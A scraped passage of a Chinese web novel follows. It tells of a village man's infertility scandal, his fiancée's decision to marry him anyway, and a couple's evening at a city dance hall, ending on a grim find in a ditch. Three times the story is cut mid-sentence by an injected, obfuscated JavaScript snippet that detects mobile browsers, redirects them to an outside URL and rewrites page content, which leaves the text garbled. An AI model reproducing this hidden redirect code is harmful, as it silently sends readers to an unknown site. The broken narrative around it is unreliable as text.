她看向面前的一家三口,对于穹问:“他们是谁呀?” “那是贾文才的前妻刁明珠,男的是她离婚后新嫁的男人,小女孩是贾文才之前的小闺女。”于穹凑近方英耳边,用极低的声音说:“现在看来,那应该不是他闺女……” 信息量太大,内容太过炸裂,方英震惊石化。 她悄悄端详那个小女孩,发现小女孩看上去六七岁,短圆脸大眼睛,一点不像贾文才,倒是挺像旁边刁明珠的现任丈夫。 “刁明珠,你这个养汉老婆!”贾文才边哭边骂,“你给我戴绿帽子,让我替别人养孩子,你对得起我吗?你们老刁家把我坑惨了!” “我们老刁家坑你?笑话!”刁明珠高颧骨尖下巴,貌美却凶巴巴,嗓门很尖利,“当初是你自己像哈巴狗一样,溜须舔腚上赶着入赘到我们家!” “我和你结婚七年,闺女六岁。我今天还就明告诉你,我和彭二早就好了,闺女就是他的!当年他媳妇病着还没死,是我爹逼我带肚儿嫁给你的!” “我本打算和你再生个儿子,但你是个放空枪的哑炮儿,折腾几年也没个结果,你自己不行怪不了我!”她摸了一下孕肚,笑容嚣张,“现在好了,我们马上要生二胎了!” 这女人竟在大庭广众之下,理直气壮爆出这等丑事。围观的人指指点点,说三道四。 贾文才羞愤交加,恼羞成怒,从地上爬起来朝刁明珠扑过去,被一旁的彭二拦住,两个男人骂着粗话扭打在一起,场面顿时混乱不堪。 二人你一拳我一脚,先站着互殴,后摔倒缠斗,鸡飞狗跳,尘土飞扬。 小女孩吓得大哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394184|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,边哭边喊:“爸爸,爸爸……别打了!”哭喊声令人心疼。 方英心中一阵不忍,她想在这场闹剧中,最无辜、受伤最深的,就是这个只有六岁的小女孩。 于穹和围观的路人,好不容易将贾文才和彭二拉开,结束了这出闹剧。 原来,于穹和贾文才拿到检查结果后,结果显示于穹生育能力健康正常,贾文才却患有无精症。 贾文才不相信,认为结果有错,坚持要求免费再查一遍,从医院里纠缠于穹到医院外。说来实在巧合,他们在医院门口,竟然碰上刁明珠和彭二带着闺女,过来取刁明珠上午产检的报告。 贾文才拿着他的检查结果,没好气地对刁明珠一通质问,刁明珠敷衍答了几句,但他不依不饶,拽住她一直追问。 刁明珠性子刁蛮暴躁,理亏但情绪上头骂开了腔,贾文才本就憋屈着一股火,气急败坏与刁明珠对骂。这才演变出方才那出闹剧,隐情全被抖出公之于众。 贾文才本以为,刁明珠和他离婚的原因,是老丈人刁兽医容不下他老妈和仨妹子。 但实际上,去年秋天彭二的前妻病死了,之后刁明珠和彭二旧情复燃,暗通款曲。 去年腊月,刁明珠再次怀孕,正愁找不到理由和贾文才离婚时,他的妈妹前来投奔。于是,刁家大过年把那娘四个赶出门去,贾文才舍不下妈妹,主动提出了离婚。 离婚后,刁明珠带着女儿,欢欢喜喜地火速改嫁给了彭二。 刁明珠和彭二带着闺女离开,围观的人群也渐渐散了。贾文才一个人坐在医院门前的台阶上,软趴趴地不动弹一直哭,痛哭流涕,鼻涕一把泪一把,时而嚎啕时而低泣。 于穹站在一旁,劝道:“贾大哥,别哭了,时间不早了,咱去坐车回村吧?” 因为和彭二的打斗,贾文才现在衣裤上全是土,鼻青脸肿,小眼已经哭肿,埋着头不说话。 方英看着贾文才,心里对这个崩溃的男人泛起些许同情。他这个人虽然奸头臊脑惹人讨厌,但在上一段婚姻中,属于一个被欺骗、被抛弃的不完美受害者,也是个可怜人。 她把一兜鸡蛋放到他旁边,“贾大哥,想开点,别上火。”紧接着把另一兜鸡蛋也放下,“贾大哥,我们家于穹领的这五斤也给你,拎上鸡蛋,咱回村吧?” 贾文才依然坐在台阶上没有站起来,却把两兜鸡蛋抱在怀里,抬起头可怜兮兮地望向方英,带着哭腔乞求道:“英子老妹儿,哥这事儿,你回去能别告诉小枝儿吗?” “哥,那恐怕不行,我得跟枝枝说。”方英语气委婉却坚定,“就算我不说,你这事儿也瞒不住。” “刚才你们打仗,我看到看热闹的人里有张大白话的侄子,他回村和张大白话一说,估计要不了几天,十里八村就都知道了。” “唉呀……”贾文才把脸埋在鸡蛋中间,哭嚎道:“苦哇!光屁股推碾子——磕碜一圈啊!” 回村之后,消息爆炸性地传播开来。贾文才没脸见人,连着几天闭门不出。 人们见不到贾文才,把目光投向他定了亲的对象,鲁枝枝。所有人都在猜,都在等,等她做出决定,是否要抛弃这个不育的男人。 33. 第33章 枝枝的选择 这天周末,服装厂放假休息,方英和盼儿一起来到鲁枝枝家。 枝枝在外屋,正在切鹅食,瞧见二人进门,打招呼道:“你俩来了啊!” 方英和盼儿一人搬了个小板凳,一左一右坐在枝枝旁边,像是有话要说,却看着她不说话。 枝枝手上动作没停,一边用菜刀切婆婆丁,一边对二人说:“你们想说什么就说,想问什么就问吧。” “行,那我们就直说了。”盼儿问道:“枝枝,你打算什么时候和那花舌子退婚?” “对呀枝枝,他那事儿也曝光好几天了,你到底怎么打算的?”方英劝道:“不能总僵持着,我看该尽早做决断。” “你要哪天去退亲,我们陪你去。如果你不想再见他或者不好意思,我和盼儿可以帮你去退,把他送的金戒指和那几百块钱退给他,解除你俩的婚约。” 枝枝停下手上的动作,缓缓说道:“可是,我不想和他退亲。” 方英和盼儿对视一眼,表情复杂,惊讶不多,更多的是失落和难受。 其实这几天,她们已经大致猜到枝枝可能不打算退亲,今天一是来确认,二是来劝她改变主意。 “他现在出了那档子事儿,闹得满城风雨,所有人都在笑话他。”枝枝竟然噗嗤一笑,“我要是这个时候和他退亲,也太没义气了。” “这种事讲什么义气呀?!”盼儿急切道:“你要和他结婚,又不是拜把子!” “枝枝你知不知道,两个人结婚,不仅要一起干活、一起吃饭,还要一起睡觉的?要……”她眨了眨眼,脸颊微红,“要那个的!” 她面露嫌弃,“贾文才他有那毛病,你们俩要是在一起,夫妻生活都没有,以后很没劲的。” 方英听盼儿的话,觉得不太对劲,“盼儿,我想你可能误解了。” “贾文才患有无精症,只是生不了孩子。”她顿了一下,低声说道:“但是那方面,夫妻生活,估计能正常进行,好像不会有影响。” “哈?”盼儿目瞪口呆,很是意外,“原来他不是不行吗?村里人都传,说他不行啊!” “不是。”方英扶了一下额头,无奈解释道:“无精症不是阳痿……” “哦哦,”盼儿似是恍然大悟,思索着说:“也就是说,他能耕地,但是不能播种……” “别再说了!”枝枝满脸通红,听不下去,闷声说道:“前几天有天晚上,他摸黑来找过我一趟。” 方英和盼儿敏锐地捕捉到“晚上”、“摸黑”两个词,异口同声地紧张道:“他没对你做什么吧?” “没有。”枝枝语气平静,“他给我看了他的检查报告,告诉我他不能生孩子,说要和我退亲,然后带着妈妹走,离开咱们乡。” “这花舌子,好一招以退为进。”方英嗤之以鼻,“枝枝你不要被他蒙骗,他就是看你心软,想装可怜拿捏你。” “我知道,我没理他那套胡子。”枝枝不屑道:“他一个大男人,哭成那熊样儿,鼻涕一把泪一把,我看着都烦。” “我当时要把戒指和钱退给他,让他爱哪去哪去,结果他又不肯了,非说让我考虑几天再给他答复。” 方英和盼儿困惑,“枝枝,听你这意思,你之前是想退亲的吗?” “对呀,怎么考虑了几天,又不想退了?” “本来是打算退的。但是,”枝枝走去一旁,拉了一下灯绳,外屋棚顶的照明灯被打开,灯泡非常明亮。 方英和盼儿不明所以,“枝枝,大白天开灯干嘛?” “外屋灯之前坏了有小半个月,我一直没顾上去买灯泡换。”枝枝望了一眼棚顶的灯泡,脸上浮现少见的柔和神色,“那天晚上贾文才走之前,从兜里掏出这个灯泡,登高上爬打着手电帮我换上。” “他说他早就记着,我家的外屋灯坏了,怕我一个小姑娘夜里没有亮害怕,所以离开之前帮我把灯换好。” 她眼里泛起隐隐泪光,肉嘟嘟的嘴唇抽搐了一下,“从来没有人像他一样,把我当小姑娘看待,没有人觉得我会怕黑,没有人为我做过这样的事。” 方英和盼儿静静听着,沉默无言。 此刻她们的心里很矛盾,似乎有些动摇,不再那么坚定地想要劝分拆散,因为她们似乎在贾文才和鲁枝枝之间窥见了真情,还隐约看到了幸福的希望和可能。 枝枝抹了一下眼角,露出憨憨的笑,坚定地说道:“我想好了,我想嫁给贾文才。” “姐们儿,你确定吗?”方英柔声提醒:“贾文才不能生育,和他在一起,你这辈子恐怕,都不能有……” 她止住话语,悄然湿了眼眶。 枝枝前世的生育执念,既有主动更有被动的成分,梦里的枝枝为生育吃尽苦头不幸早亡。如今真相已明,枝枝今生不会再被误解不能生育,不会承受生育压力。 然而,如果她仍然选择嫁给贾文才,将无法拥有亲生的孩子。方英想到这里,内心一阵酸楚。 “是啊姐们儿,你想清楚了吗?”盼儿也不忍地红了眼,“嫁给那个男人,不能有小孩子,没关系吗?” “我已经想好了!”枝枝态度洒脱,“没孩子就没孩子吧,我可以先养只小猫儿、再养只小狗儿,等以后哪天非想养小人儿了,可以去福利院领养一个。” 方英看着枝枝,片刻后破涕为笑,“那花舌子真是命好!哪辈子拯救了世界吧,能有你这么好的姑娘喜欢他。” “可不是么,我猜他们家肯定天天烧高香,祖坟冒青烟了。”盼儿擦擦泪,笑着说:“能娶到你这么好的媳妇儿,那花舌子得转圈偷着乐喽!” 枝枝被方英和盼儿逗笑,她解下围裙,洗了洗手,“那你们俩,陪我上他家去一趟吧?我想去告诉他,我不退亲了。” 方英和盼儿点了点头,“好。” 来到村东头的小草房,一进院贾文才和老妈、三个妹子,便一起迎出来。 贾文才的老妈先开口,语气暖暖和和,“小枝儿,大闺女,进家坐呀?好几天没见着你,妈心里想你,都想病了。” 方英和盼儿对视了一眼,各自无语,心想这花舌子的妈,也是个虚头巴脑的花舌子,说话实在太虚太假。 枝枝没有叫妈,也没有客套,“婶,我今天过来,是来说说我和文才的事。” 贾文才一脸紧张,低声下气地试探问道:“小枝儿,你是要跟哥退亲吗?” 枝枝还没开口,贾文才的老妈居然抹起眼泪,“大闺女,妈求你了,你别和文才退亲,你想要啥、有啥条件妈都答应你!” 她拉过贾文才的仨妹子,“快求求你嫂子,让你嫂子别不要你大哥。” 三个妹子围过来,对枝枝呜呜咽咽地又哭又求。 “你们都别哭了。”枝枝看不惯别人哭哭啼啼,最讨厌这种煽情的场景,波澜不惊地说:“我不是来退亲的。” 她望向站在妈妹后面的贾文才,“我是来说一声,这门亲事我还认。” 贾文才听了这话,小眼瞬间睁大一圈,先惊后喜。紧接着一个高速滑跪,不知怎的从后方瞬移到枝枝面前,抱住她的大腿又哭又笑,“小枝儿,你是说,你还愿意跟哥结婚?!” 枝枝嘴角浮现含蓄却发自内心的笑意,点了一下头,重重应了声:“嗯。” 这院子里土地上铺了一层沙子,但贾文才方才滑得顺畅,帆布裤子被磨破,膝盖估计都秃噜皮了,却还跪得扎实。 他抱住枝枝的腿不撒手,笑声更大,也哭得更凶,“小枝儿,媳妇儿,这辈子我给你当牛做马!” “以后我啥都听你的,你指哪我打哪!你让我往东,我绝不往西,你让我打狗,我绝不撵鸡,你要让我抓猪,我绝不去赶驴子!” 他乐得发抖,哭得直抽,“媳妇儿,我贾文才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397610|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生是你的人,死了也是你的鬼……” “行了,别说啦!”枝枝听不下去,喜悦又烦扰,“你一个大老爷们儿,哭成这熊样儿真丢人!” 她使劲推他,他却像块大粘糕一样,赖在她腿上不肯撒手。 “小枝儿,文才他是太高兴了。”贾文才的老妈走到枝枝面前,“枝儿,你这么重情重义,还愿意嫁给文才,妈谢谢你。” 她说罢,竟弯下腰,恭恭敬敬对枝枝鞠了一躬。 枝枝伸手扶住她,“婶,你这是干啥啊?” 贾文才的老妈握住枝枝的手,“小枝儿,往后你就是妈亲闺女,不光文才得对你好,妈更得对你好。” 她招呼贾文才的仨妹子过来,“你们仨记住了,这不是你们嫂子,是你们亲姐姐。” 这个妇女情真意切地落了泪,语气激昂道:“小枝儿,以后我们全家伺候你,你就是我们家奶奶,是我们家祖宗!” 贾家的五个人把枝枝围在中央,众星捧月,密不透风。 方英和盼儿站在不远处看着,不约而同轻轻笑出了声。她们不觉得感动,只是暗暗感叹,这花舌子一家,实在太能说好听话溜须哄人了。 盼儿低声对方英说:“这么看来,枝枝嫁给贾文才也行哈,以后当他们家的皇帝。” 方英点了点头,目光凝聚在贾文才老妈的脸上。她看那个妇女现在俨然是一副菩萨面,慈祥仁善,与梦里那个刻薄恶毒的歪老婆子判若两人。 她想,人的善恶或许不是出自本心,很多时候是处境决定的。有些人,比狗还贱。 枝枝和贾文才的婚礼定在夏天。 枝枝的喜服选了很久,最后由方英亲自给她设计,量身定做了一套西式婚纱。村里穿婚纱结婚的,枝枝是第一个,非常时髦前卫。婚礼当天,盼儿帮枝枝化了适合她肤色气质的欧美妆,又酷又飒,别具一格。 贾文才是外乡人,枝枝的爹妈不在了,喜事儿主要是由方英、盼儿和鲁家的几个近亲戚帮忙操办的。 不过婚礼也隆重热闹,本村的乡亲们、服装厂的女工们都来了。 而且,还从城里剧院请来了鼓乐班子。 方英和于穹结婚时的伴郎,城里剧院吹唢呐的小哥白云飞这次也来了。 吃席时,方英挨着盼儿坐,白云飞坐在了盼儿的另一边。 他四处张望一圈,笑嘻嘻对盼儿问:“仙女姐姐,你家那个戴眼镜的老师呢?” 盼儿停住筷子,脸色一变,先是气恼随后释然,冷淡地说了声:“离了。” 白云飞两眼放光,喜色藏不住,脱口而出道:“太好了!” 盼儿皱眉,水灵灵的大眼睛瞪着他嗔怪道:“你这小喇叭怎么说话呢?” “对不起、对不起,姐姐,我不是说你离婚对他是好事,是对我是好事……”他白净的脸急红,“不对,是、是对你是好事……现在很多人不合适就离婚的,像枝枝姐姐嫁的这位大哥不就是……” 方英在一旁被逗笑,“云飞,别说了,人家今天办喜事儿呢。” 白云飞反应过来,面色尴尬,毕竟别人大喜的日子,提“离婚”着实是不礼貌。 不过他很爱说话,安静了两分钟,又对方英问道:“嫂子,于穹哥今天怎么没来呀?” “他最近文化馆的工作太忙,组织年中文艺培训,还有下乡文艺演出。”方英说道:“于穹实在脱不开身,所以没过来。” 于穹最近的确很忙,一方面忙工作,另一方面忙着收拾他们的新家。 城里分到的楼房已经装修好散过味,方英本想去布置一番,但她最近忙着帮枝枝操办喜事儿,在村里走不开。所以于穹这几天先住在城里,上班工作,下班布置屋子,休息日采购家电家具。 方英有好几天没见到于穹了,枝枝婚礼的第二天,她终于得闲,一早坐上面包车,去了城里的新家。 34. 第34章 歌舞厅 今天是周末,面包车一早进城,方英到了新家,敲门却没人应,她拿了钥匙开门进屋,发现于穹没在。 她上次来,是在半个月前,当时家具家电都还没买,只是一套空空荡荡的刚装好的房子。这次来发现这里大不一样了,变得很像个家。 家里干净整洁,有了沙发和大床,沙发很舒适,床垫软软的,床单、被罩和窗帘的颜色清新素雅。 于穹还采购了彩电、洗衣机、电冰箱、电风扇。虽然这些家用电器在袁柔的时代早已普及,但她在这个年代的乡村生活已久,突然在新家的楼房里看到这些,有一种一下子步入现代化的感觉,奇妙、新鲜、愉快。 这房子采光很好,南北通透,她打开客厅的窗户,一阵清凉的风吹进来,顿觉神清气爽、心旷神怡。 她站在窗前眺望城市的风景,片刻后听见钥匙开门的声音,回眸看见于穹进门。 他看见她,满眼惊喜,瞬间雀跃,“柔柔,你终于来了!” “昨天参加完枝枝的婚礼,今天一大早我就过来了。”她笑吟吟问道:“今天不是放假么,你这么早去哪了呀?” “我去公园练早功了。”他大步来到她面前,一把将她揽进怀里,“媳妇儿,我好想你,你有没有想老公?” 他说这话时,直勾勾盯着她看,眼里的爱意思念和勾引撩拨清晰明了。 她回抱住他,与他对视一眼,心动到脸红,“想了,我当然想你,每天都想~” “你只用嘴巴说想我吗?” “还要怎么样?” 他低下头,俊美的脸凑近她,“亲我一下!” 她柔情蜜意地看着他,“啾~”地一下轻吻在他的脸颊。 他笑意深深,转过脸用手指点了点另一侧的脸颊,“这边也要!” 她再次嘟起嘴去亲他,这次没亲到他的脸,却吻到他迎过来的唇。 他的吻似是预谋已久,像是急不可耐,越吻越动情。 她不知是不是几天没见的缘故,竟觉得他有点变了,变得更加热情霸道。她无法抗拒,心醉神迷,既被动又主动地沦陷在他热烈的吻中,与他唇舌辗转,细腻交缠,呼吸都变得凌乱。 他将她越抱越紧,原本搂在她腰间的手,随着亲吻不安分地上下游走,要去解她胸前的扣子。 她其实也情难自禁,却轻握住他的手,害羞为难地皱了皱眉,柔声制止道:“哎,大白天的!” “白天怕什么?锁着门拉上窗帘就好啦。这是城里的楼房,不像在村里的平房,白天可能随时来人,这里不会有人来打扰的。” 他故意做出委屈可怜的样子,不依不饶地缠着她,“媳妇儿,我们都好几天没见了,我想你想到快要发疯,吃不香睡不着,就像鱼离开了水,我这条小鱼都难受得快要死掉了……” 她抬手挡住他的嘴巴,温柔地说了句:“不许乱讲。” “那可不可以?”他搂抱着她,勾起唇角笑着哄道:“柔柔,我们还想要宝宝呢,小宝宝不会凭空出现的,要抓紧一切时间,勤快一些才可以。” 她忍俊不禁,环上他的脖颈,垂眸笑得娇羞甜蜜,“那就……勤快一些吧。” 他心花怒放,轻松将她抱起,迫不及待地抱着她走进卧室。“勤快”了许久许久,反反复复,一遍又一遍。 直到傍晚时分,他们才牵着手一起出门。 买了菜回来的路上,碰上两个熟人。这二人一男一女,三十多岁,也是对夫妻。 于穹打招呼道:“高科长,姜记者!” 男人微笑回应:“小于,咱们私下见面,不用称呼职务,你就叫我高哥就行。” 于穹点头笑道:“高哥,嫂子。”他对二人介绍:“这是我爱人方英。” 又对方英说:“英子,高哥是县委宣传部的高科长,嫂子是县广电局的姜记者。” 他这阵子组织文艺培训、下乡演出,宣传部和广电局对文化工作采访宣传,所以他工作上与这二人常有对接,认识后渐渐熟络了。 “方英……”姜记者思索着说:“小于,我记得你是青山乡的,”她对方英问:“妹妹,你该不会就是,青山乡办服装厂的方英子吧?” 方英轻轻笑着点了一下头,“是我。” “哎呀!”姜记者夸道:“妹妹,你真有本事呀,你可是咱县的致富带头人!” “嫂子,你过奖了。”方英谦虚说:“我就是和村里的妇女们,一起做点小买卖。” “那可不是,你是咱县的致富典型。”高科长对于穹说:“小于,真没想到,方英竟然是你媳妇儿。” “弟妹,我们部里最近正想派新闻干事和广电记者,到你那采访呢。到时候登报、上电视,用咱县广播站的喇叭广一广,宣传宣传你的事迹。” 方英迟疑了一下,委婉推辞道:“高哥,我看不用了,我做的只是普通的小事,而且我们服装厂现在规模还小,未来还有很长的路要走呢。” 她只想踏踏实实带领妇女们干事创业,并不想出名当什么典型。 “那就更应该宣传了!”高科长道:“弟妹,我们去采访,不仅宣传你个人,也会宣传你们服装厂。” “前段时间,咱临县有家肉联厂,经过他们县里一宣传,还吸引来南方的老板过来投资呢。” 于穹劝道:“英子,采访宣传是好事,对服装厂的发展有帮助,没准真能吸引来什么机遇。” 方英想了一下,“那好。高哥,嫂子,欢迎你们过段时间到我们村里来,到时我一定做好接待。” 高科长和姜记者点头应道:“好。” 姜记者看向于穹手上提的菜,“小于,你们现在还没吃晚饭吗?” “噢,我们下午在……”于穹顿了一下,“在忙事情。刚买了菜,现在回去做饭。” 他问:“高哥,嫂子,你们这是干什么去?” 高科长和姜记者相视一笑,“今天周末,在家待着也没什么事,我俩去百花歌舞厅,想去跳会儿舞。” 方英听了,心里暗暗向往。 和那两人分别后,她对于穹问道:“老公,百花歌舞厅,是不就是你之前兼职,在那唱歌表演的那家舞厅呀?” 于穹点头,“嗯,对。就是那家。” “晚上咱们也去吧?”方英眼里闪着期待,“虽然我不太会跳舞,但是去听听歌也好,我记得你之前说那里很热闹。” 他看向她,眼神暧昧,似笑非笑,“柔柔,晚上我们不是要,早点睡吗?” 她七分娇羞三分无语,轻声说道:“都‘睡’了一天了……”她摇了摇他的手,“老公,我想去嘛~” 他笑得宠溺,“可以~”牵紧她的手加快脚步,“那我们快点回家做饭,吃完饭就过去。” 夏末的夜晚微凉,再出门前,方英换上了一条连衣长裙,裙子底色纯白,带有淡紫色的朵朵鸢尾花,淡雅又温柔。于穹则穿了一件红色衬衫,搭配一条浅蓝色直筒牛仔裤,活泼又清爽。 他们来到歌舞厅,这里果然很热闹,年轻人很多,有青春洋溢的朋友伙伴,也有你侬我侬的情侣夫妻。 舞台上的乐队正在演奏迪斯科舞曲,“咚次哒次”节奏上头,炫彩灯光照得人眼花缭乱,人们跟着音乐肆意起舞,潇洒快乐。 他正要拉她一起跳舞,听到一个男声唤他:“于穹!” 他循声望去,看见一个四十岁左右脖戴大金链的光头男,是这家舞厅的老板谭刚,“刚哥!” 谭刚穿过人群走过来,和于穹握了一下手,“咱有将近一年没见了,听说你现在当干部了是吗?” 于穹笑了一下,“就是普通工作人员。”他问道:“刚哥,最近生意怎么样?” “还行吧。没你在的那会儿好。”谭刚说道:“正好你今天过来了,上去唱首歌呗?唱啥都行,就当玩了,帮哥热热场,活跃活跃气氛。” “不了刚哥。”于穹搂上方英的肩,“今天我带我媳妇儿,过来跳舞的。” 谭刚看向方英,“啊,这是弟妹啊!”他敞亮地笑道:“那行,那你们好好玩,想喝啥随便点哈,记哥账上。” 谭刚走开后,方英想了想,对于穹说:“老公,好久没看你在台上唱歌了。” 于穹有点意外,“你想看我上去唱吗?” 她笑容明媚灿烂,深深点了一下头,“想!” 他笑,“好,那我去和乐队说一声。” 过了一会儿,于穹登台,他演唱的是这两年超级流行的大热歌曲《冬天里的一把火》。 现在本就是夏天,这首歌更为现场的气氛加了一把火,人们的热情瞬间被点燃,跟着音乐舞动、拍手、叫好,所有人的目光聚焦在舞台中央,聚焦在于穹身上。 他像一位闪耀的明星,光芒万丈,魅力无限。他这个人平日里沉稳内敛,但只要一上了台,便会立马切换成另一种状态,活力四射,热情如火。他在舞台边唱边跳,表演松弛自如,游刃有余。 她和所有的观众一样,目光被他吸引,看他如此英俊、如此耀眼、如此迷人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413296|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她想,如果他还不是她的丈夫,如果他只是一个初次见面的陌生人,她估计也会在这一刻,对他一见钟情。 一曲唱罢,他在掌声和欢呼后走下台,走回她的身边。 她看着他,爱意满满的眼神里像有星星,“老公,你好帅啊!你唱歌好好听!” 他笑了笑,“我在家不是也经常唱二人转、经常唱歌吗?” “也是哦。”她有一瞬间的迷惑,“你在家也天天唱,可是为什么,感觉你在舞台上更有魅力呢?” 他轻轻捏了一下她的脸蛋,“大概是距离产生美吧。” 此刻灯光变得浪漫柔和,台上一位女歌手,唱起邓丽君的歌曲《我只在乎你》。 他一手揽上她的腰,一手握住她的手,“柔柔,我们跳舞吧!” 她有一点点紧张,“可是,我不太会跳舞。” “没关系,交谊舞很简单。”他笑意盈盈,鼓励道:“我教你,你跟着我的步伐跳就好啦。” 她搭上他的肩膀,跳了几步之后竟真的觉得不难。她随着他的舞步,和他在舞池里共舞,看着眼前的他,想到舞台上的他,心中替他涌现出一丝丝遗憾。 他觉察到她若有所思,“柔柔,在想什么?” “我在想,你没有去大地方唱戏、没有去更大的舞台,而是选择留下来,早早结婚做了我的丈夫。” 她的眼神柔情似水,隐约带有浅浅的若有似无的伤感和歉疚,望向他的眼眸,缓缓问道:“你会觉得遗憾吗?” “和你结婚,我只嫌太晚。”他云淡风轻地温柔一笑,“说实话,一年前没有去邻省,当时我心里的确有一点点遗憾,大概有1%。” “但是,能够娶到你,和你在一起,我心里有很多很多的幸福,至少有99%。” “我们结婚之后,真实安稳的幸福每一天都在增加,把我的心填得满满当当,那一点点遗憾早就被挤跑了。”他洒脱地说:“我现在在文化馆,虽然会做些行政工作,但主要业务还是唱戏。” “尽管没去更大的舞台,但我依然还在唱二人转,而且我的生活有你,我真的很满足。” 她听他说话,懂他的随遇而安和怡然自洽。她想,他无论做出哪种选择,都会拥有美好人生。她觉得无比幸运,因为他选择了和她在一起。 “谢谢你,留在我身边。”她含情脉脉地看着他,真情告白道:“我爱你,老公。我要一辈子和你在一起,永远不分开。” “一辈子可不够。”他语气执着,带有几分撩人的蛮横,“如果有下辈子、下下辈子,我还要你嫁给我,做我的媳妇儿。” 她毫不犹豫答应,“好,我愿意。” 他清澈深邃的眼眸含着笑意和宠溺注视她几秒,贴近她耳边,用只有他们两人能听见的声音说:“柔柔,我好想亲亲你。” “不行,”她眼神闪烁,欢喜娇羞中带有一丝慌乱,看了看周围跳舞的其他人,“这里这么多人呢……” 他看着她笑,片刻后快速凑近,就像他们婚礼那天一样,轻啄了一下她红扑扑的脸蛋。 舞台上女歌手的歌声悠扬婉转,回荡在舞厅里: “任时光匆匆流去,我只在乎你,心甘情愿感染你的气息……”1 他搂着她漫舞,“跳完这支舞,我们就回家吧。” 方英在城里,一住住了一个星期。 倒不全是因为他这几天工作忙,她想留在城里陪他,而是因为这天之后连下了三天大雨,小河涨水冲垮了镇上的一座小桥。那桥处在回村的必经之路上,桥塌了什么车都过不了,她想回村自然也是没法子了。 天晴后抢修了三天,那桥终于修好,道路得以复通。她和于穹坐面包车回村这天,又下了一场大暴雨,不过幸好,傍晚回到村里时,雨已经停了。 村道的土路被大雨浇得泥泞不堪。她和他一起往家的方向走,远远看见一群乡亲聚在赵玉娇家大门外,似在往她家门前的走水沟里看,指指点点,议论纷纷。 方英和于穹走近,除了雨后的泥土气息之外,闻到一股血腥的臭味。 于穹走在前面,往走水沟里看了一眼,脸色骤变,连忙抬手挡住方英的眼睛,“柔柔,别看!” 方英不明所以,拿开于穹的手,探头朝走水沟一看,顿时脊背发凉,头皮发麻,一阵反胃,惊惧交加,吓出一身冷汗。 她正疑惑时,围观的人里有冒失的,大着嗓门叫道:“哎呀妈呀!这啥玩意儿啊?红次拉鲜、血呼淋啦的,是死孩子吗?!”